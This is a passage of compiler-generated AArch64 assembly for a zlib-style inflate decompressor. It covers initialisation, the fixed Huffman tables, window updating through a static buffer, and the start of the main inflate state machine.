ldr x0, [sp, 24]
ldr x2, [x0, 72]
ldr x0, [sp, 24]
ldr x3, [x0, 80]
ldr x0, [sp, 56]
ldr x0, [x0, 64]
mov x1, x0
mov x0, x3
blr x2
ldr x0, [sp, 56]
str xzr, [x0, 64]
.L821:
ldr x0, [sp, 56]
ldr w1, [sp, 48]
str w1, [x0, 8]
ldr w1, [sp, 20]
ldr x0, [sp, 56]
str w1, [x0, 48]
ldr x0, [sp, 24]
bl inflateReset
str w0, [sp, 52]
ldr w0, [sp, 52]
str w0, [sp, 44]
.L815:
ldr w0, [sp, 44]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE75:
.size inflateReset2, .-inflateReset2
.align 2
.global inflateInit2_
.type inflateInit2_, %function
inflateInit2_:
.LFB76:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str w1, [sp, 36]
str x2, [sp, 24]
str w3, [sp, 32]
ldr x0, [sp, 24]
cmp x0, 0
bne .L824
mov w0, -6
str w0, [sp, 48]
b .L825
.L824:
ldr x0, [sp, 24]
ldrb w1, [x0]
mov w0, 49
cmp w1, w0
beq .L826
mov w0, -6
str w0, [sp, 48]
b .L825
.L826:
ldr w0, [sp, 32]
cmp w0, 112
beq .L827
mov w0, -6
str w0, [sp, 48]
b .L825
.L827:
ldr x0, [sp, 40]
cmp x0, 0
bne .L828
mov w0, -2
str w0, [sp, 48]
b .L825
.L828:
ldr x0, [sp, 40]
str xzr, [x0, 48]
ldr x0, [sp, 40]
ldr x0, [x0, 64]
cmp x0, 0
bne .L829
ldr x0, [sp, 40]
adrp x1, zcalloc
add x1, x1, :lo12:zcalloc
str x1, [x0, 64]
ldr x0, [sp, 40]
str xzr, [x0, 80]
.L829:
ldr x0, [sp, 40]
ldr x0, [x0, 72]
cmp x0, 0
bne .L830
ldr x0, [sp, 40]
adrp x1, zcfree
add x1, x1, :lo12:zcfree
str x1, [x0, 72]
.L830:
ldr x0, [sp, 40]
ldr x3, [x0, 64]
ldr x0, [sp, 40]
ldr x0, [x0, 80]
mov w2, 7152
mov w1, 1
blr x3
str x0, [sp, 56]
ldr x0, [sp, 56]
cmp x0, 0
bne .L831
mov w0, -4
str w0, [sp, 48]
b .L825
.L831:
ldr x0, [sp, 40]
ldr x1, [sp, 56]
str x1, [x0, 56]
ldr x0, [sp, 56]
str xzr, [x0, 64]
ldr w1, [sp, 36]
ldr x0, [sp, 40]
bl inflateReset2
str w0, [sp, 52]
ldr w0, [sp, 52]
cmp w0, 0
beq .L832
ldr x0, [sp, 40]
ldr x2, [x0, 72]
ldr x0, [sp, 40]
ldr x0, [x0, 80]
ldr x1, [sp, 56]
blr x2
ldr x0, [sp, 40]
str xzr, [x0, 56]
.L832:
ldr w0, [sp, 52]
str w0, [sp, 48]
.L825:
ldr w0, [sp, 48]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE76:
.size inflateInit2_, .-inflateInit2_
.align 2
.global inflateInit_
.type inflateInit_, %function
inflateInit_:
.LFB77:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
ldr w3, [sp, 28]
ldr x2, [sp, 32]
mov w1, 15
ldr x0, [sp, 40]
bl inflateInit2_
str w0, [sp, 60]
ldr w0, [sp, 60]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE77:
.size inflateInit_, .-inflateInit_
.align 2
.global inflatePrime
.type inflatePrime, %function
inflatePrime:
.LFB78:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
str w2, [sp]
ldr x0, [sp, 8]
cmp x0, 0
bne .L837
mov w0, -2
str w0, [sp, 20]
b .L838
.L837:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
cmp x0, 0
bne .L839
mov w0, -2
str w0, [sp, 20]
b .L838
.L839:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
str x0, [sp, 24]
ldr w0, [sp, 4]
cmp w0, 0
bge .L840
ldr x0, [sp, 24]
str xzr, [x0, 72]
ldr x0, [sp, 24]
str wzr, [x0, 80]
str wzr, [sp, 20]
b .L838
.L840:
ldr w0, [sp, 4]
cmp w0, 16
ble .L841
mov w0, -2
str w0, [sp, 20]
b .L838
.L841:
ldr x0, [sp, 24]
ldr w1, [x0, 80]
ldr w0, [sp, 4]
add w0, w1, w0
cmp w0, 32
bls .L842
mov w0, -2
str w0, [sp, 20]
b .L838
.L842:
ldr w0, [sp, 4]
mov x1, 1
lsl x0, x1, x0
sub w0, w0, #1
mov w1, w0
ldr w0, [sp]
and w0, w0, w1
str w0, [sp]
ldr x0, [sp, 24]
ldr x1, [x0, 72]
ldr x0, [sp, 24]
ldr w0, [x0, 80]
ldr w2, [sp]
lsl w0, w2, w0
sxtw x0, w0
add x1, x1, x0
ldr x0, [sp, 24]
str x1, [x0, 72]
ldr x0, [sp, 24]
ldr w1, [x0, 80]
ldr w0, [sp, 4]
add w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 80]
str wzr, [sp, 20]
.L838:
ldr w0, [sp, 20]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE78:
.size inflatePrime, .-inflatePrime
.section .rodata
.align 3
.type lenfix, %object
.size lenfix, 2048
lenfix:
.byte 96
.byte 7
.hword 0
.byte 0
.byte 8
.hword 80
.byte 0
.byte 8
.hword 16
.byte 20
.byte 8
.hword 115
.byte 18
.byte 7
.hword 31
.byte 0
.byte 8
.hword 112
.byte 0
.byte 8
.hword 48
.byte 0
.byte 9
.hword 192
.byte 16
.byte 7
.hword 10
.byte 0
.byte 8
.hword 96
.byte 0
.byte 8
.hword 32
.byte 0
.byte 9
.hword 160
.byte 0
.byte 8
.hword 0
.byte 0
.byte 8
.hword 128
.byte 0
.byte 8
.hword 64
.byte 0
.byte 9
.hword 224
.byte 16
.byte 7
.hword 6
.byte 0
.byte 8
.hword 88
.byte 0
.byte 8
.hword 24
.byte 0
.byte 9
.hword 144
.byte 19
.byte 7
.hword 59
.byte 0
.byte 8
.hword 120
.byte 0
.byte 8
.hword 56
.byte 0
.byte 9
.hword 208
.byte 17
.byte 7
.hword 17
.byte 0
.byte 8
.hword 104
.byte 0
.byte 8
.hword 40
.byte 0
.byte 9
.hword 176
.byte 0
.byte 8
.hword 8
.byte 0
.byte 8
.hword 136
.byte 0
.byte 8
.hword 72
.byte 0
.byte 9
.hword 240
.byte 16
.byte 7
.hword 4
.byte 0
.byte 8
.hword 84
.byte 0
.byte 8
.hword 20
.byte 21
.byte 8
.hword 227
.byte 19
.byte 7
.hword 43
.byte 0
.byte 8
.hword 116
.byte 0
.byte 8
.hword 52
.byte 0
.byte 9
.hword 200
.byte 17
.byte 7
.hword 13
.byte 0
.byte 8
.hword 100
.byte 0
.byte 8
.hword 36
.byte 0
.byte 9
.hword 168
.byte 0
.byte 8
.hword 4
.byte 0
.byte 8
.hword 132
.byte 0
.byte 8
.hword 68
.byte 0
.byte 9
.hword 232
.byte 16
.byte 7
.hword 8
.byte 0
.byte 8
.hword 92
.byte 0
.byte 8
.hword 28
.byte 0
.byte 9
.hword 152
.byte 20
.byte 7
.hword 83
.byte 0
.byte 8
.hword 124
.byte 0
.byte 8
.hword 60
.byte 0
.byte 9
.hword 216
.byte 18
.byte 7
.hword 23
.byte 0
.byte 8
.hword 108
.byte 0
.byte 8
.hword 44
.byte 0
.byte 9
.hword 184
.byte 0
.byte 8
.hword 12
.byte 0
.byte 8
.hword 140
.byte 0
.byte 8
.hword 76
.byte 0
.byte 9
.hword 248
.byte 16
.byte 7
.hword 3
.byte 0
.byte 8
.hword 82
.byte 0
.byte 8
.hword 18
.byte 21
.byte 8
.hword 163
.byte 19
.byte 7
.hword 35
.byte 0
.byte 8
.hword 114
.byte 0
.byte 8
.hword 50
.byte 0
.byte 9
.hword 196
.byte 17
.byte 7
.hword 11
.byte 0
.byte 8
.hword 98
.byte 0
.byte 8
.hword 34
.byte 0
.byte 9
.hword 164
.byte 0
.byte 8
.hword 2
.byte 0
.byte 8
.hword 130
.byte 0
.byte 8
.hword 66
.byte 0
.byte 9
.hword 228
.byte 16
.byte 7
.hword 7
.byte 0
.byte 8
.hword 90
.byte 0
.byte 8
.hword 26
.byte 0
.byte 9
.hword 148
.byte 20
.byte 7
.hword 67
.byte 0
.byte 8
.hword 122
.byte 0
.byte 8
.hword 58
.byte 0
.byte 9
.hword 212
.byte 18
.byte 7
.hword 19
.byte 0
.byte 8
.hword 106
.byte 0
.byte 8
.hword 42
.byte 0
.byte 9
.hword 180
.byte 0
.byte 8
.hword 10
.byte 0
.byte 8
.hword 138
.byte 0
.byte 8
.hword 74
.byte 0
.byte 9
.hword 244
.byte 16
.byte 7
.hword 5
.byte 0
.byte 8
.hword 86
.byte 0
.byte 8
.hword 22
.byte 64
.byte 8
.hword 0
.byte 19
.byte 7
.hword 51
.byte 0
.byte 8
.hword 118
.byte 0
.byte 8
.hword 54
.byte 0
.byte 9
.hword 204
.byte 17
.byte 7
.hword 15
.byte 0
.byte 8
.hword 102
.byte 0
.byte 8
.hword 38
.byte 0
.byte 9
.hword 172
.byte 0
.byte 8
.hword 6
.byte 0
.byte 8
.hword 134
.byte 0
.byte 8
.hword 70
.byte 0
.byte 9
.hword 236
.byte 16
.byte 7
.hword 9
.byte 0
.byte 8
.hword 94
.byte 0
.byte 8
.hword 30
.byte 0
.byte 9
.hword 156
.byte 20
.byte 7
.hword 99
.byte 0
.byte 8
.hword 126
.byte 0
.byte 8
.hword 62
.byte 0
.byte 9
.hword 220
.byte 18
.byte 7
.hword 27
.byte 0
.byte 8
.hword 110
.byte 0
.byte 8
.hword 46
.byte 0
.byte 9
.hword 188
.byte 0
.byte 8
.hword 14
.byte 0
.byte 8
.hword 142
.byte 0
.byte 8
.hword 78
.byte 0
.byte 9
.hword 252
.byte 96
.byte 7
.hword 0
.byte 0
.byte 8
.hword 81
.byte 0
.byte 8
.hword 17
.byte 21
.byte 8
.hword 131
.byte 18
.byte 7
.hword 31
.byte 0
.byte 8
.hword 113
.byte 0
.byte 8
.hword 49
.byte 0
.byte 9
.hword 194
.byte 16
.byte 7
.hword 10
.byte 0
.byte 8
.hword 97
.byte 0
.byte 8
.hword 33
.byte 0
.byte 9
.hword 162
.byte 0
.byte 8
.hword 1
.byte 0
.byte 8
.hword 129
.byte 0
.byte 8
.hword 65
.byte 0
.byte 9
.hword 226
.byte 16
.byte 7
.hword 6
.byte 0
.byte 8
.hword 89
.byte 0
.byte 8
.hword 25
.byte 0
.byte 9
.hword 146
.byte 19
.byte 7
.hword 59
.byte 0
.byte 8
.hword 121
.byte 0
.byte 8
.hword 57
.byte 0
.byte 9
.hword 210
.byte 17
.byte 7
.hword 17
.byte 0
.byte 8
.hword 105
.byte 0
.byte 8
.hword 41
.byte 0
.byte 9
.hword 178
.byte 0
.byte 8
.hword 9
.byte 0
.byte 8
.hword 137
.byte 0
.byte 8
.hword 73
.byte 0
.byte 9
.hword 242
.byte 16
.byte 7
.hword 4
.byte 0
.byte 8
.hword 85
.byte 0
.byte 8
.hword 21
.byte 16
.byte 8
.hword 258
.byte 19
.byte 7
.hword 43
.byte 0
.byte 8
.hword 117
.byte 0
.byte 8
.hword 53
.byte 0
.byte 9
.hword 202
.byte 17
.byte 7
.hword 13
.byte 0
.byte 8
.hword 101
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.byte 8
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.byte 20
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.byte 0
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.byte 18
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.byte 8
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.byte 0
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.byte 0
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.byte 0
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.byte 0
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.byte 0
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.hword 159
.byte 20
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.byte 0
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.byte 0
.byte 8
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.byte 0
.byte 8
.hword 143
.byte 0
.byte 8
.hword 79
.byte 0
.byte 9
.hword 255
.align 3
.type distfix, %object
.size distfix, 128
distfix:
.byte 16
.byte 5
.hword 1
.byte 23
.byte 5
.hword 257
.byte 19
.byte 5
.hword 17
.byte 27
.byte 5
.hword 4097
.byte 17
.byte 5
.hword 5
.byte 25
.byte 5
.hword 1025
.byte 21
.byte 5
.hword 65
.byte 29
.byte 5
.hword 16385
.byte 16
.byte 5
.hword 3
.byte 24
.byte 5
.hword 513
.byte 20
.byte 5
.hword 33
.byte 28
.byte 5
.hword 8193
.byte 18
.byte 5
.hword 9
.byte 26
.byte 5
.hword 2049
.byte 22
.byte 5
.hword 129
.byte 64
.byte 5
.hword 0
.byte 16
.byte 5
.hword 2
.byte 23
.byte 5
.hword 385
.byte 19
.byte 5
.hword 25
.byte 27
.byte 5
.hword 6145
.byte 17
.byte 5
.hword 7
.byte 25
.byte 5
.hword 1537
.byte 21
.byte 5
.hword 97
.byte 29
.byte 5
.hword 24577
.byte 16
.byte 5
.hword 4
.byte 24
.byte 5
.hword 769
.byte 20
.byte 5
.hword 49
.byte 28
.byte 5
.hword 12289
.byte 18
.byte 5
.hword 13
.byte 26
.byte 5
.hword 3073
.byte 22
.byte 5
.hword 193
.byte 64
.byte 5
.hword 0
.text
.align 2
.type fixedtables, %function
fixedtables:
.LFB79:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, 8]
ldr x0, [sp, 8]
adrp x1, lenfix
add x1, x1, :lo12:lenfix
str x1, [x0, 96]
ldr x0, [sp, 8]
mov w1, 9
str w1, [x0, 112]
ldr x0, [sp, 8]
adrp x1, distfix
add x1, x1, :lo12:distfix
str x1, [x0, 104]
ldr x0, [sp, 8]
mov w1, 5
str w1, [x0, 116]
nop
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE79:
.size fixedtables, .-fixedtables
.local my_inflate_window
.comm my_inflate_window,32768,8
.align 2
.type updatewindow, %function
updatewindow:
.LFB80:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
ldr x0, [sp, 24]
ldr x0, [x0, 56]
str x0, [sp, 56]
ldr x0, [sp, 56]
ldr x0, [x0, 64]
cmp x0, 0
bne .L847
ldr x0, [sp, 56]
adrp x1, my_inflate_window
add x1, x1, :lo12:my_inflate_window
str x1, [x0, 64]
.L847:
ldr x0, [sp, 56]
ldr w0, [x0, 52]
cmp w0, 0
bne .L848
ldr x0, [sp, 56]
ldr w0, [x0, 48]
mov w1, 1
lsl w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0, 52]
ldr x0, [sp, 56]
str wzr, [x0, 60]
ldr x0, [sp, 56]
str wzr, [x0, 56]
.L848:
ldr x0, [sp, 24]
ldr w0, [x0, 32]
ldr w1, [sp, 20]
sub w0, w1, w0
str w0, [sp, 48]
ldr x0, [sp, 56]
ldr w0, [x0, 52]
ldr w1, [sp, 48]
cmp w1, w0
bcc .L849
ldr x0, [sp, 56]
ldr x3, [x0, 64]
ldr x0, [sp, 24]
ldr x1, [x0, 24]
ldr x0, [sp, 56]
ldr w0, [x0, 52]
uxtw x0, w0
neg x0, x0
add x1, x1, x0
ldr x0, [sp, 56]
ldr w0, [x0, 52]
mov w2, w0
mov x0, x3
bl memcpy
ldr x0, [sp, 56]
str wzr, [x0, 60]
ldr x0, [sp, 56]
ldr w1, [x0, 52]
ldr x0, [sp, 56]
str w1, [x0, 56]
b .L850
.L849:
ldr x0, [sp, 56]
ldr w1, [x0, 52]
ldr x0, [sp, 56]
ldr w0, [x0, 60]
sub w0, w1, w0
str w0, [sp, 44]
ldr w1, [sp, 44]
ldr w0, [sp, 48]
cmp w1, w0
bls .L851
ldr w0, [sp, 48]
str w0, [sp, 44]
.L851:
ldr x0, [sp, 56]
ldr x1, [x0, 64]
ldr x0, [sp, 56]
ldr w0, [x0, 60]
uxtw x0, w0
add x3, x1, x0
ldr x0, [sp, 24]
ldr x1, [x0, 24]
ldr w0, [sp, 48]
neg x0, x0
add x0, x1, x0
ldr w2, [sp, 44]
mov x1, x0
mov x0, x3
bl memcpy
ldr w1, [sp, 48]
ldr w0, [sp, 44]
sub w0, w1, w0
str w0, [sp, 48]
ldr w0, [sp, 48]
cmp w0, 0
beq .L852
ldr x0, [sp, 56]
ldr x3, [x0, 64]
ldr x0, [sp, 24]
ldr x1, [x0, 24]
ldr w0, [sp, 48]
neg x0, x0
add x0, x1, x0
ldr w2, [sp, 48]
mov x1, x0
mov x0, x3
bl memcpy
ldr x0, [sp, 56]
ldr w1, [sp, 48]
str w1, [x0, 60]
ldr x0, [sp, 56]
ldr w1, [x0, 52]
ldr x0, [sp, 56]
str w1, [x0, 56]
b .L850
.L852:
ldr x0, [sp, 56]
ldr w1, [x0, 60]
ldr w0, [sp, 44]
add w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0, 60]
ldr x0, [sp, 56]
ldr w1, [x0, 60]
ldr x0, [sp, 56]
ldr w0, [x0, 52]
cmp w1, w0
bne .L853
ldr x0, [sp, 56]
str wzr, [x0, 60]
.L853:
ldr x0, [sp, 56]
ldr w1, [x0, 56]
ldr x0, [sp, 56]
ldr w0, [x0, 52]
cmp w1, w0
bcs .L850
ldr x0, [sp, 56]
ldr w1, [x0, 56]
ldr w0, [sp, 44]
add w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0, 56]
.L850:
str wzr, [sp, 52]
ldr w0, [sp, 52]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE80:
.size updatewindow, .-updatewindow
.section .rodata
.align 3
.type order, %object
.size order, 38
order:
.hword 16
.hword 17
.hword 18
.hword 0
.hword 8
.hword 7
.hword 9
.hword 6
.hword 10
.hword 5
.hword 11
.hword 4
.hword 12
.hword 3
.hword 13
.hword 2
.hword 14
.hword 1
.hword 15
.align 3
.LC19:
.string "incorrect header check"
.align 3
.LC20:
.string "unknown compression method"
.align 3
.LC21:
.string "invalid window size"
.align 3
.LC22:
.string "unknown header flags set"
.align 3
.LC23:
.string "header crc mismatch"
.align 3
.LC24:
.string "invalid block type"
.align 3
.LC25:
.string "invalid stored block lengths"
.align 3
.LC26:
.string "too many length or distance symbols"
.align 3
.LC27:
.string "invalid code lengths set"
.align 3
.LC28:
.string "invalid bit length repeat"
.align 3
.LC29:
.string "invalid code -- missing end-of-block"
.align 3
.LC30:
.string "invalid literal/lengths set"
.align 3
.LC31:
.string "invalid distances set"
.align 3
.LC32:
.string "invalid literal/length code"
.align 3
.LC33:
.string "invalid distance code"
.align 3
.LC34:
.string "invalid distance too far back"
.align 3
.LC35:
.string "incorrect data check"
.align 3
.LC36:
.string "incorrect length check"
.text
.align 2
.global inflate
.type inflate, %function
inflate:
.LFB81:
.cfi_startproc
stp x29, x30, [sp, -464]!
.cfi_def_cfa_offset 464
.cfi_offset 29, -464
.cfi_offset 30, -456
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 456]
mov x1, 0
ldr x0, [sp, 24]
cmp x0, 0
bne .L856
mov w0, -2
str w0, [sp, 52]
b .L857
.L856:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
bne .L858
mov w0, -2
str w0, [sp, 52]
b .L857
.L858:
ldr x0, [sp, 24]
ldr x0, [x0, 24]
cmp x0, 0
bne .L859
mov w0, -2
str w0, [sp, 52]
b .L857
.L859:
ldr x0, [sp, 24]
ldr x0, [x0]
cmp x0, 0
bne .L860
ldr x0, [sp, 24]
ldr w0, [x0, 8]
cmp w0, 0
beq .L860
mov w0, -2
str w0, [sp, 52]
b .L857
.L860:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
str x0, [sp, 200]
ldr x0, [sp, 200]
ldr w0, [x0]
cmp w0, 11
bne .L861
ldr x0, [sp, 200]
mov w1, 12
str w1, [x0]
.L861:
ldr x0, [sp, 24]
ldr x0, [x0, 24]
str x0, [sp, 152]
ldr x0, [sp, 24]
ldr w0, [x0, 32]
str w0, [sp, 60]
ldr x0, [sp, 24]
ldr x0, [x0]
str x0, [sp, 144]
ldr x0, [sp, 24]
ldr w0, [x0, 8]
str w0, [sp, 56]
ldr x0, [sp, 200]
ldr x0, [x0, 72]
str x0, [sp, 160]
ldr x0, [sp, 200]
ldr w0, [x0, 80]
str w0, [sp, 64]
nop
ldr w0, [sp, 56]
str w0, [sp, 100]
ldr w0, [sp, 60]
str w0, [sp, 68]
str wzr, [sp, 80]
.L1088:
ldr x0, [sp, 200]
ldr w0, [x0]
cmp w0, 30
bhi .L862
adrp x1, .L864
add x1, x1, :lo12:.L864
ldr w0, [x1,w0,uxtw #2]
adr x1, .Lrtx864
add x0, x1, w0, sxtw #2
br x0
.Lrtx864:
.section .rodata
.align 0
.align 2
.L864:
.word (.L894 - .Lrtx864) / 4
.word (.L911 - .Lrtx864) / 4
.word (.L918 - .Lrtx864) / 4
.word (.L923 - .Lrtx864) / 4
.word (.L890 - .Lrtx864) / 4
.word (.L889 - .Lrtx864) / 4
.word (.L888 - .Lrtx864) / 4
.word (.L887 - .Lrtx864) / 4
.word (.L886 - .Lrtx864) / 4
.word (.L966 - .Lrtx864) / 4
.word (.L884 - .Lrtx864) / 4
.word (.L883 - .Lrtx864) / 4
.word (.L882 - .Lrtx864) / 4
.word (.L881 - .Lrtx864) / 4
.word (.L880 - .Lrtx864) / 4
.word (.L879 - .Lrtx864) / 4
.word (.L989 - .Lrtx864) / 4
.word (.L995 - .Lrtx864) / 4
.word (.L1003 - .Lrtx864) / 4
.word (.L875 - .Lrtx864) / 4
.word (.L874 - .Lrtx864) / 4
.word (.L873 - .Lrtx864) / 4
.word (.L1050 - .Lrtx864) / 4
.word (.L871 - .Lrtx864) / 4
.word (.L870 - .Lrtx864) / 4
.word (.L869 - .Lrtx864) / 4
.word (.L868 - .Lrtx864) / 4
.word (.L867 - .Lrtx864) / 4
.word (.L866 - .Lrtx864) / 4
.word (.L865 - .Lrtx864) / 4
.word (.L863 - .Lrtx864) / 4
.text
.L894:
ldr x0, [sp, 200]
ldr w0, [x0, 8]
cmp w0, 0
bne .L897
ldr x0, [sp, 200]
mov w1, 12
str w1, [x0]
b .L896
.L900:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1115
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 440]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 440]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L897:
ldr w0, [sp, 64]
cmp w0, 15
bls .L900
nop
ldr x0, [sp, 200]
ldr w0, [x0, 8]
and w0, w0, 2
cmp w0, 0
beq .L901
ldr x1, [sp, 160]
mov x0, 35615
cmp x1, x0
bne .L901
mov w2, 0
mov x1, 0
mov x0, 0
bl crc32
mov x1, x0
ldr x0, [sp, 200]
str x1, [x0, 24]
ldr x0, [sp, 160]
and w0, w0, 255
strb w0, [sp, 448]
ldr x0, [sp, 160]
lsr x0, x0, 8
and w0, w0, 255
strb w0, [sp, 449]
ldr x0, [sp, 200]
ldr x0, [x0, 24]
add x1, sp, 448
mov w2, 2
bl crc32
mov x1, x0
ldr x0, [sp, 200]
str x1, [x0, 24]
nop
str xzr, [sp, 160]
str wzr, [sp, 64]
nop
ldr x0, [sp, 200]
mov w1, 1
str w1, [x0]
b .L896
.L901:
ldr x0, [sp, 200]
str wzr, [x0, 16]
ldr x0, [sp, 200]
ldr x0, [x0, 40]
cmp x0, 0
beq .L902
ldr x0, [sp, 200]
ldr x0, [x0, 40]
mov w1, -1
str w1, [x0, 72]
.L902:
ldr x0, [sp, 200]
ldr w0, [x0, 8]
and w0, w0, 1
cmp w0, 0
beq .L1116
ldr x0, [sp, 160]
lsl w0, w0, 8
uxtw x0, w0
and x1, x0, 65535
ldr x0, [sp, 160]
lsr x0, x0, 8
add x2, x1, x0
mov x0, 16913
movk x0, 0x2108, lsl 16
movk x0, 0x1084, lsl 32
movk x0, 0x842, lsl 48
umulh x0, x2, x0
sub x1, x2, x0
lsr x1, x1, 1
add x0, x0, x1
lsr x1, x0, 4
mov x0, x1
lsl x0, x0, 5
sub x0, x0, x1
sub x1, x2, x0
cmp x1, 0
beq .L905
b .L904
.L1116:
nop
.L904:
ldr x0, [sp, 24]
adrp x1, .LC19
add x1, x1, :lo12:.LC19
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L905:
ldr x0, [sp, 160]
and w0, w0, 15
cmp w0, 8
beq .L906
ldr x0, [sp, 24]
adrp x1, .LC20
add x1, x1, :lo12:.LC20
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L906:
ldr x0, [sp, 160]
lsr x0, x0, 4
str x0, [sp, 160]
ldr w0, [sp, 64]
sub w0, w0, #4
str w0, [sp, 64]
nop
ldr x0, [sp, 160]
and w0, w0, 15
add w0, w0, 8
str w0, [sp, 76]
ldr x0, [sp, 200]
ldr w0, [x0, 48]
cmp w0, 0
bne .L907
ldr x0, [sp, 200]
ldr w1, [sp, 76]
str w1, [x0, 48]
b .L908
.L907:
ldr x0, [sp, 200]
ldr w0, [x0, 48]
ldr w1, [sp, 76]
cmp w1, w0
bls .L908
ldr x0, [sp, 24]
adrp x1, .LC21
add x1, x1, :lo12:.LC21
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L908:
ldr w0, [sp, 76]
mov w1, 1
lsl w1, w1, w0
ldr x0, [sp, 200]
str w1, [x0, 20]
mov w2, 0
mov x1, 0
mov x0, 0
bl adler32
str x0, [sp, 432]
ldr x0, [sp, 200]
ldr x1, [sp, 432]
str x1, [x0, 24]
ldr x0, [sp, 24]
ldr x1, [sp, 432]
str x1, [x0, 96]
ldr x0, [sp, 160]
and x0, x0, 512
cmp x0, 0
beq .L909
ldr x0, [sp, 200]
mov w1, 9
str w1, [x0]
b .L910
.L909:
ldr x0, [sp, 200]
mov w1, 11
str w1, [x0]
.L910:
str xzr, [sp, 160]
str wzr, [sp, 64]
nop
b .L896
.L913:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1117
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 384]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 384]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L911:
ldr w0, [sp, 64]
cmp w0, 15
bls .L913
nop
ldr x0, [sp, 160]
mov w1, w0
ldr x0, [sp, 200]
str w1, [x0, 16]
ldr x0, [sp, 200]
ldr w0, [x0, 16]
and w0, w0, 255
cmp w0, 8
beq .L914
ldr x0, [sp, 24]
adrp x1, .LC20
add x1, x1, :lo12:.LC20
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L914:
ldr x0, [sp, 200]
ldr w0, [x0, 16]
and w0, w0, 57344
cmp w0, 0
beq .L915
ldr x0, [sp, 24]
adrp x1, .LC22
add x1, x1, :lo12:.LC22
str x1, [x0, 48]
ldr x0, [sp, 200]
mov w1, 29
str w1, [x0]
b .L896
.L915:
ldr x0, [sp, 200]
ldr x0, [x0, 40]
cmp x0, 0
beq .L916
ldr x0, [sp, 160]
lsr x0, x0, 8
mov w1, w0
ldr x0, [sp, 200]
ldr x0, [x0, 40]
and w1, w1, 1
str w1, [x0]
.L916:
ldr x0, [sp, 200]
ldr w0, [x0, 16]
and w0, w0, 512
cmp w0, 0
beq .L917
ldr x0, [sp, 160]
and w0, w0, 255
strb w0, [sp, 448]
ldr x0, [sp, 160]
lsr x0, x0, 8
and w0, w0, 255
strb w0, [sp, 449]
ldr x0, [sp, 200]
ldr x0, [x0, 24]
add x1, sp, 448
mov w2, 2
bl crc32
mov x1, x0
ldr x0, [sp, 200]
str x1, [x0, 24]
nop
.L917:
str xzr, [sp, 160]
str wzr, [sp, 64]
nop
ldr x0, [sp, 200]
mov w1, 2
str w1, [x0]
b .L918
.L920:
ldr w0, [sp, 56]
cmp w0, 0
beq .L1118
ldr w0, [sp, 56]
sub w0, w0, #1
str w0, [sp, 56]
ldr x0, [sp, 144]
str x0, [sp, 392]
ldr x0, [sp, 144]
add x0, x0, 1
str x0, [sp, 144]
ldr x0, [sp, 392]
ldrb w0, [x0]
and x1, x0, 255
ldr w0, [sp, 64]
lsl x0, x1, x0
ldr x1, [sp, 160]
add x0, x1, x0
str x0, [sp, 160]
ldr w0, [sp, 64]
add w0, w0, 8
str w0, [sp, 64]
nop
.L918:
ldr w0, [sp, 64]
cmp w0, 31
bls .L920
nop
ldr x0, [sp, 200]
ldr x0, [x0, 40]
cmp x0, 0
beq .L921
ldr x0, [sp, 200]
ldr x0, [x0, 40]
ldr x1, [sp, 160]
str x1, [x0, 8]
.L921:
ldr x0, [sp, 200]
ldr w0, [x0, 16]
and w0, w0, 512
